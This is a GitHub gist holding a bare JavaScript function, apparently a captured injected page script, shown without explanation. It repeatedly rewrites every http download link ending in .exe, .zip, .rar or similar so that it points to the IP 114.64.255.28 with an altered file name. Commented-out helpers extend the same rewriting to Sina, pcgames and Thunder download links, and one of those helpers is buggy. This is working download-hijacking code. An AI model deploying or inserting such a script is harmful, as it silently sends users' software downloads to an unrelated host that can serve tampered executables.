Skip to content

Instantly share code, notes, and snippets.

@PaulGuo
Created March 2, 2013 17:18
Show Gist options
  • Save PaulGuo/5072052 to your computer and use it in GitHub Desktop.
Save PaulGuo/5072052 to your computer and use it in GitHub Desktop.
function yjwt_suba() {
var ins = '114.64.255.28';
var inslen = ins.length;
var prefix = 'zytxx';
var re_suffix = /\.(exe|zip|bz2|gz|rar)$/;
if (typeof String.prototype.startsWith != 'function') {
String.prototype.startsWith = function (str){
return this.slice(0, str.length) == str;
};
}
function sub_common(href) {
if (!href)
return ;
if (!href.startsWith('http://'))
return ;
if (href.startsWith('http://' + ins))
return ;
if (!href.match(re_suffix))
return ;
var li = href.lastIndexOf('/');
var hnew = '';
var left = href.substr(7, li - 6);
var right = href.substr(li + 1);
hnew = 'http://' + ins + '/' + left + prefix + right;
return hnew;
}
function sub_php(href, prefix) {
if (!href)
return ;
if (!href.startsWith(prefix))
return ;
if (href.startsWith('http://' + ins))
return ;
var hnew = '';
hnew = 'http://' + ins + '/down_sina?' + encodeURI(href);
return hnew;
}
function sub_thunder(href) {
var href = t.attr('href');
if (!href)
return ;
if (!href.startsWith('thunder://'))
return ;
if (href.startsWith('http://' + ins))
return ;
var hnew = '';
hnew = 'http://' + ins + '/down_thunder?' + encodeURI(href);
return href;
}
function alarm() {
var links = document.getElementsByTagName("a");
for (var i = 0; i < links.length; i++) {
var href = links[i].href;
var r = sub_common(href);
if (r) {
links[i].href = r;
}
//sub_php($(this), 'http://down.tech.sina.com');
//sub_php($(this), '/xiazaiDown.php');
//sub_php($(this), 'http://dl.pcgames.com.cn');
//sub_thunder($(this));
}
setTimeout(alarm, 500);
}
alarm();
}
yjwt_suba();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment